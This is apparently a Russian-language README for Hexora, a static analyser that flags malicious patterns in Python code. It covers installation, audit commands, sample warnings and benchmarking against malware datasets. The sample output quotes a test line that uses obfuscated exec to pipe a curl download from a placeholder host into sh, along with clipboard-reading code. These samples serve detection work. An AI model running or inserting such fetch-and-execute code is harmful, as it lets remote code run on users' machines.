hexora

Hexora — это инструмент статического анализа, предназначенный для обнаружения вредоносных и опасных шаблонов в коде Python. Он сочетает в себе механизм статического анализа на основе правил с моделью машинного обучения, которая оценивает целые исходные файлы для классификации их как вредоносные или безопасные.

Его можно использовать для:

• Аудита зависимостей проекта для выявления возможных атак на цепочку поставок
• Обнаружения вредоносных скриптов, найденных на таких платформах, как Pastebin, GitHub или открытые каталоги
• Анализа файлов IoC из прошлых инцидентов безопасности
• Аудита новых пакетов, загруженных на PyPi.

Примеры

Примеры вывода смотрите в файле docs/examples.md.

Установка

С помощью Python

Требуется Python 3.9+.

pip install hexora

С помощью uv:

uv tool install hexora

Использование

hexora --help

Аудит одного файла

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Аудит каталога

hexora audit --output-format terminal resources/test/

Аудит пакетов из виртуального окружения

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Где python3.11 — версия Python в виртуальном окружении.

Советы:

• Используйте --exclude, чтобы подавить определённые коды правил (например, шумные импорты) для данного запуска
• Используйте --min-confidence, чтобы сосредоточиться только на результатах с высокой степенью уверенности.

Уверенность указывает на то, насколько определённый фрагмент кода вредоносен. Некоторые библиотеки или фрагменты кода используются в законных целях, и трудно отличить легитимные сценарии от вредоносных. Вот почему некоторые совпадения имеют низкий уровень уверенности.

Некоторые правила могут иметь разные уровни уверенности. Избегайте фильтрации большого количества правил по кодам, если вы не очень уверены. Например, выполнение кода и команд оболочки может иметь средний, высокий и очень высокий уровень уверенности. Это зависит от того, как был выполнен код. Если мы обнаруживаем попытку обфускации, мы повышаем уверенность.

Например, этот код будет иметь высокую уверенность:

globals()["__builtins__"].eval("print(123)")

Использование в Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Тестирование на вредоносных наборах данных

При разработке новых правил вы можете использовать существующие наборы вредоносного ПО, такие как malicious-software-packages-dataset.

После клонирования укажите инструменту бенчмаркинга путь к каталогу набора данных:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Доступные правила

Новые правила добавляются регулярно.

На данный момент доступны следующие правила:

Благодарности

Для разбора мы используем AST-парсер из библиотеки ruff.